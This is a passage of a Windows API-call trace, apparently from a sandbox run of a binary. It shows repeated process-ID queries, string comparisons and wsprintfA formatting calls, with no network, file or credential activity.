0x79c [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] lstrlenA (lpString="just string") returned 11 [0136.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.672] GetLastError () returned 0x0 [0136.672] lstrlenA (lpString="just string") returned 11 [0136.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.672] GetLastError () returned 0x0 [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] lstrlenA (lpString="just string") returned 11 [0136.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.672] GetLastError () returned 0x0 [0136.672] GetCurrentProcess () returned 0xffffffff [0136.672] GetLastError () returned 0x0 [0136.672] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="214C1P") returned 6 [0136.672] SetLastError (dwErrCode=0x0) [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetLastError () returned 0x0 [0136.672] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="214C2P") returned 6 [0136.672] SetLastError (dwErrCode=0x0) [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] lstrlenA (lpString="just string") returned 11 [0136.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.672] GetLastError () returned 0x0 [0136.672] GetLastError () returned 0x0 [0136.672] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.672] SetLastError (dwErrCode=0x0) [0136.672] GetCurrentProcess () returned 0xffffffff [0136.672] GetLastError () returned 0x0 [0136.672] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="214D4P") returned 6 [0136.672] SetLastError (dwErrCode=0x0) [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetCurrentProcess () returned 0xffffffff [0136.672] GetLastError () returned 0x0 [0136.672] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="214D5P") returned 6 [0136.672] SetLastError (dwErrCode=0x0) [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetLastError () returned 0x0 [0136.672] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="214D6P") returned 6 [0136.672] SetLastError (dwErrCode=0x0) [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] lstrlenA (lpString="just string") returned 11 [0136.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.672] GetLastError () returned 0x0 [0136.673] GetLastError () returned 0x0 [0136.673] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.673] SetLastError (dwErrCode=0x0) [0136.673] GetCurrentProcess () returned 0xffffffff [0136.673] GetLastError () returned 0x0 [0136.673] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="214DEP") returned 6 [0136.673] SetLastError (dwErrCode=0x0) [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetCurrentProcess () returned 0xffffffff [0136.673] GetLastError () returned 0x0 [0136.673] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="214DFP") returned 6 [0136.673] SetLastError (dwErrCode=0x0) [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetLastError () returned 0x0 [0136.673] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="214E0P") returned 6 [0136.673] SetLastError (dwErrCode=0x0) [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] lstrlenA (lpString="just string") returned 11 [0136.673] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.673] GetLastError () returned 0x0 [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] lstrlenA (lpString="just string") returned 11 [0136.673] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.673] GetLastError () returned 0x0 [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] lstrlenA (lpString="just string") returned 11 [0136.673] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.673] GetLastError () returned 0x0 [0136.673] GetLastError () returned 0x0 [0136.673] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.673] SetLastError (dwErrCode=0x0) [0136.673] GetCurrentProcess () returned 0xffffffff [0136.673] GetLastError () returned 0x0 [0136.673] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21574P") returned 6 [0136.673] SetLastError (dwErrCode=0x0) [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetCurrentProcess () returned 0xffffffff [0136.673] GetLastError () returned 0x0 [0136.673] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21575P") returned 6 [0136.673] SetLastError (dwErrCode=0x0) [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetLastError () returned 0x0 [0136.673] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21576P") returned 6 [0136.673] SetLastError (dwErrCode=0x0) [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] lstrlenA (lpString="just string") returned 11 [0136.673] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.673] GetLastError () returned 0x0 [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] GetCurrentProcessId () returned 0x79c [0136.673] lstrlenA (lpString="just string") returned 11 [0136.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.674] GetLastError () returned 0x0 [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] lstrlenA (lpString="just string") returned 11 [0136.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.674] GetLastError () returned 0x0 [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] lstrlenA (lpString="just string") returned 11 [0136.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.674] GetLastError () returned 0x0 [0136.674] lstrlenA (lpString="just string") returned 11 [0136.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.674] GetLastError () returned 0x0 [0136.674] GetLastError () returned 0x0 [0136.674] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.674] SetLastError (dwErrCode=0x0) [0136.674] GetCurrentProcess () returned 0xffffffff [0136.674] GetLastError () returned 0x0 [0136.674] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21632P") returned 6 [0136.674] SetLastError (dwErrCode=0x0) [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] GetCurrentProcess () returned 0xffffffff [0136.674] GetLastError () returned 0x0 [0136.674] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21633P") returned 6 [0136.674] SetLastError (dwErrCode=0x0) [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] GetLastError () returned 0x0 [0136.674] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21634P") returned 6 [0136.674] SetLastError (dwErrCode=0x0) [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] lstrlenA (lpString="just string") returned 11 [0136.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.674] GetLastError () returned 0x0 [0136.674] lstrlenA (lpString="just string") returned 11 [0136.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.674] GetLastError () returned 0x0 [0136.674] GetLastError () returned 0x0 [0136.674] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.674] SetLastError (dwErrCode=0x0) [0136.674] GetCurrentProcess () returned 0xffffffff [0136.674] GetLastError () returned 0x0 [0136.674] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21678P") returned 6 [0136.674] SetLastError (dwErrCode=0x0) [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] GetCurrentProcess () returned 0xffffffff [0136.674] GetLastError () returned 0x0 [0136.674] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21679P") returned 6 [0136.674] SetLastError (dwErrCode=0x0) [0136.674] GetCurrentProcessId () returned 0x79c [0136.674] GetLastError () returned 0x0 [0136.674] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2167AP") returned 6 [0136.674] SetLastError (dwErrCode=0x0) [0136.674] GetCurrentProcessId () returned 0x79c [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] lstrlenA (lpString="just string") returned 11 [0136.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.675] GetLastError () returned 0x0 [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] lstrlenA (lpString="just string") returned 11 [0136.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.675] GetLastError () returned 0x0 [0136.675] GetLastError () returned 0x0 [0136.675] GetCurrentProcess () returned 0xffffffff [0136.675] GetLastError () returned 0x0 [0136.675] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2172DP") returned 6 [0136.675] SetLastError (dwErrCode=0x0) [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetLastError () returned 0x0 [0136.675] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2172EP") returned 6 [0136.675] SetLastError (dwErrCode=0x0) [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] lstrlenA (lpString="just string") returned 11 [0136.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.675] GetLastError () returned 0x0 [0136.675] GetLastError () returned 0x0 [0136.675] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.675] SetLastError (dwErrCode=0x0) [0136.675] GetCurrentProcess () returned 0xffffffff [0136.675] GetLastError () returned 0x0 [0136.675] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21772P") returned 6 [0136.675] SetLastError (dwErrCode=0x0) [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetCurrentProcess () returned 0xffffffff [0136.675] GetLastError () returned 0x0 [0136.675] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21773P") returned 6 [0136.675] SetLastError (dwErrCode=0x0) [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetLastError () returned 0x0 [0136.675] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21774P") returned 6 [0136.675] SetLastError (dwErrCode=0x0) [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] lstrlenA (lpString="just string") returned 11 [0136.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.675] GetLastError () returned 0x0 [0136.675] GetLastError () returned 0x0 [0136.675] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.675] SetLastError (dwErrCode=0x0) [0136.675] GetCurrentProcess () returned 0xffffffff [0136.675] GetLastError () returned 0x0 [0136.675] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="217B8P") returned 6 [0136.675] SetLastError (dwErrCode=0x0) [0136.675] GetCurrentProcessId () returned 0x79c [0136.675] GetCurrentProcess () returned 0xffffffff [0136.675] GetLastError () returned 0x0 [0136.676] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="217B9P") returned 6 [0136.676] SetLastError (dwErrCode=0x0) [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetLastError () returned 0x0 [0136.676] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="217BAP") returned 6 [0136.676] SetLastError (dwErrCode=0x0) [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] lstrlenA (lpString="just string") returned 11 [0136.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.676] GetLastError () returned 0x0 [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] lstrlenA (lpString="just string") returned 11 [0136.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.676] GetLastError () returned 0x0 [0136.676] GetLastError () returned 0x0 [0136.676] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.676] SetLastError (dwErrCode=0x0) [0136.676] GetCurrentProcess () returned 0xffffffff [0136.676] GetLastError () returned 0x0 [0136.676] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21812P") returned 6 [0136.676] SetLastError (dwErrCode=0x0) [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetCurrentProcess () returned 0xffffffff [0136.676] GetLastError () returned 0x0 [0136.676] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21813P") returned 6 [0136.676] SetLastError (dwErrCode=0x0) [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetLastError () returned 0x0 [0136.676] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21814P") returned 6 [0136.676] SetLastError (dwErrCode=0x0) [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] lstrlenA (lpString="just string") returned 11 [0136.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.676] GetLastError () returned 0x0 [0136.676] GetCurrentProcess () returned 0xffffffff [0136.676] GetLastError () returned 0x0 [0136.676] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2183BP") returned 6 [0136.676] SetLastError (dwErrCode=0x0) [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetLastError () returned 0x0 [0136.676] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2183CP") returned 6 [0136.676] SetLastError (dwErrCode=0x0) [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] lstrlenA (lpString="just string") returned 11 [0136.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.676] GetLastError () returned 0x0 [0136.676] GetCurrentProcessId () returned 0x79c [0136.676] lstrlenA (lpString="just string") returned 11 [0136.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.676] GetLastError () returned 0x0 [0136.676] GetCurrentProcess () returned 0xffffffff [0136.676] GetLastError () returned 0x0 [0136.677] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="218A9P") returned 6 [0136.677] SetLastError (dwErrCode=0x0) [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetLastError () returned 0x0 [0136.677] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="218AAP") returned 6 [0136.677] SetLastError (dwErrCode=0x0) [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] lstrlenA (lpString="just string") returned 11 [0136.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.677] GetLastError () returned 0x0 [0136.677] lstrlenA (lpString="just string") returned 11 [0136.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.677] GetLastError () returned 0x0 [0136.677] GetLastError () returned 0x0 [0136.677] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.677] SetLastError (dwErrCode=0x0) [0136.677] GetCurrentProcess () returned 0xffffffff [0136.677] GetLastError () returned 0x0 [0136.677] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="218F8P") returned 6 [0136.677] SetLastError (dwErrCode=0x0) [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetCurrentProcess () returned 0xffffffff [0136.677] GetLastError () returned 0x0 [0136.677] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="218F9P") returned 6 [0136.677] SetLastError (dwErrCode=0x0) [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetLastError () returned 0x0 [0136.677] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="218FAP") returned 6 [0136.677] SetLastError (dwErrCode=0x0) [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] lstrlenA (lpString="just string") returned 11 [0136.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.677] GetLastError () returned 0x0 [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] lstrlenA (lpString="just string") returned 11 [0136.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.677] GetLastError () returned 0x0 [0136.677] GetLastError () returned 0x0 [0136.677] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.677] SetLastError (dwErrCode=0x0) [0136.677] GetCurrentProcess () returned 0xffffffff [0136.677] GetLastError () returned 0x0 [0136.677] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2195CP") returned 6 [0136.677] SetLastError (dwErrCode=0x0) [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetCurrentProcess () returned 0xffffffff [0136.677] GetLastError () returned 0x0 [0136.677] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2195DP") returned 6 [0136.677] SetLastError (dwErrCode=0x0) [0136.677] GetCurrentProcessId () returned 0x79c [0136.677] GetLastError () returned 0x0 [0136.677] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2195EP") returned 6 [0136.677] SetLastError (dwErrCode=0x0) [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] lstrlenA (lpString="just string") returned 11 [0136.678] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.678] GetLastError () returned 0x0 [0136.678] GetLastError () returned 0x0 [0136.678] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21968P") returned 6 [0136.678] SetLastError (dwErrCode=0x0) [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] lstrlenA (lpString="just string") returned 11 [0136.678] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.678] GetLastError () returned 0x0 [0136.678] GetLastError () returned 0x0 [0136.678] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.678] SetLastError (dwErrCode=0x0) [0136.678] GetCurrentProcess () returned 0xffffffff [0136.678] GetLastError () returned 0x0 [0136.678] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21984P") returned 6 [0136.678] SetLastError (dwErrCode=0x0) [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcess () returned 0xffffffff [0136.678] GetLastError () returned 0x0 [0136.678] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21985P") returned 6 [0136.678] SetLastError (dwErrCode=0x0) [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetLastError () returned 0x0 [0136.678] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21986P") returned 6 [0136.678] SetLastError (dwErrCode=0x0) [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] lstrlenA (lpString="just string") returned 11 [0136.678] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.678] GetLastError () returned 0x0 [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] lstrlenA (lpString="just string") returned 11 [0136.678] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.678] GetLastError () returned 0x0 [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] lstrlenA (lpString="just string") returned 11 [0136.678] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.678] GetLastError () returned 0x0 [0136.678] GetLastError () returned 0x0 [0136.678] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.678] SetLastError (dwErrCode=0x0) [0136.678] GetCurrentProcess () returned 0xffffffff [0136.678] GetLastError () returned 0x0 [0136.678] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21A06P") returned 6 [0136.678] SetLastError (dwErrCode=0x0) [0136.678] GetCurrentProcessId () returned 0x79c [0136.678] GetCurrentProcess () returned 0xffffffff [0136.678] GetLastError () returned 0x0 [0136.679] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21A07P") returned 6 [0136.679] SetLastError (dwErrCode=0x0) [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetLastError () returned 0x0 [0136.679] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21A08P") returned 6 [0136.679] SetLastError (dwErrCode=0x0) [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] lstrlenA (lpString="just string") returned 11 [0136.679] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.679] GetLastError () returned 0x0 [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] lstrlenA (lpString="just string") returned 11 [0136.679] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.679] GetLastError () returned 0x0 [0136.679] GetLastError () returned 0x0 [0136.679] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.679] SetLastError (dwErrCode=0x0) [0136.679] GetCurrentProcess () returned 0xffffffff [0136.679] GetLastError () returned 0x0 [0136.679] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21A60P") returned 6 [0136.679] SetLastError (dwErrCode=0x0) [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcess () returned 0xffffffff [0136.679] GetLastError () returned 0x0 [0136.679] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21A61P") returned 6 [0136.679] SetLastError (dwErrCode=0x0) [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetLastError () returned 0x0 [0136.679] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21A62P") returned 6 [0136.679] SetLastError (dwErrCode=0x0) [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] lstrlenA (lpString="just string") returned 11 [0136.679] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.679] GetLastError () returned 0x0 [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] lstrlenA (lpString="just string") returned 11 [0136.679] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.679] GetLastError () returned 0x0 [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] GetCurrentProcessId () returned 0x79c [0136.679] lstrlenA (lpString="just string") returned 11 [0136.679] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.679] GetLastError () returned 0x0 [0136.679] GetLastError () returned 0x0 [0136.679] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.679] SetLastError (dwErrCode=0x0) [0136.679] GetCurrentProcess () returned 0xffffffff [0136.679] GetLastError () returned 0x0 [0136.679] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21AD8P") returned 6 [0136.680] SetLastError (dwErrCode=0x0) [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcess () returned 0xffffffff [0136.680] GetLastError () returned 0x0 [0136.680] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21AD9P") returned 6 [0136.680] SetLastError (dwErrCode=0x0) [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetLastError () returned 0x0 [0136.680] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21ADAP") returned 6 [0136.680] SetLastError (dwErrCode=0x0) [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] lstrlenA (lpString="just string") returned 11 [0136.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.680] GetLastError () returned 0x0 [0136.680] GetLastError () returned 0x0 [0136.680] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21AF8P") returned 6 [0136.680] SetLastError (dwErrCode=0x0) [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] lstrlenA (lpString="just string") returned 11 [0136.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.680] GetLastError () returned 0x0 [0136.680] GetLastError () returned 0x0 [0136.680] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21B34P") returned 6 [0136.680] SetLastError (dwErrCode=0x0) [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] lstrlenA (lpString="just string") returned 11 [0136.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.680] GetLastError () returned 0x0 [0136.680] GetLastError () returned 0x0 [0136.680] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.680] SetLastError (dwErrCode=0x0) [0136.680] GetCurrentProcess () returned 0xffffffff [0136.680] GetLastError () returned 0x0 [0136.680] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21B50P") returned 6 [0136.680] SetLastError (dwErrCode=0x0) [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcess () returned 0xffffffff [0136.680] GetLastError () returned 0x0 [0136.680] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21B51P") returned 6 [0136.680] SetLastError (dwErrCode=0x0) [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetLastError () returned 0x0 [0136.680] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21B52P") returned 6 [0136.680] SetLastError (dwErrCode=0x0) [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] GetCurrentProcessId () returned 0x79c [0136.680] lstrlenA (lpString="just string") returned 11 [0136.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.680] GetLastError () returned 0x0 [0136.680] GetLastError () returned 0x0 [0136.681] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.681] SetLastError (dwErrCode=0x0) [0136.681] GetCurrentProcess () returned 0xffffffff [0136.681] GetLastError () returned 0x0 [0136.681] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21B8CP") returned 6 [0136.681] SetLastError (dwErrCode=0x0) [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcess () returned 0xffffffff [0136.681] GetLastError () returned 0x0 [0136.681] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21B8DP") returned 6 [0136.681] SetLastError (dwErrCode=0x0) [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetLastError () returned 0x0 [0136.681] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21B8EP") returned 6 [0136.681] SetLastError (dwErrCode=0x0) [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] lstrlenA (lpString="just string") returned 11 [0136.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.681] GetLastError () returned 0x0 [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] lstrlenA (lpString="just string") returned 11 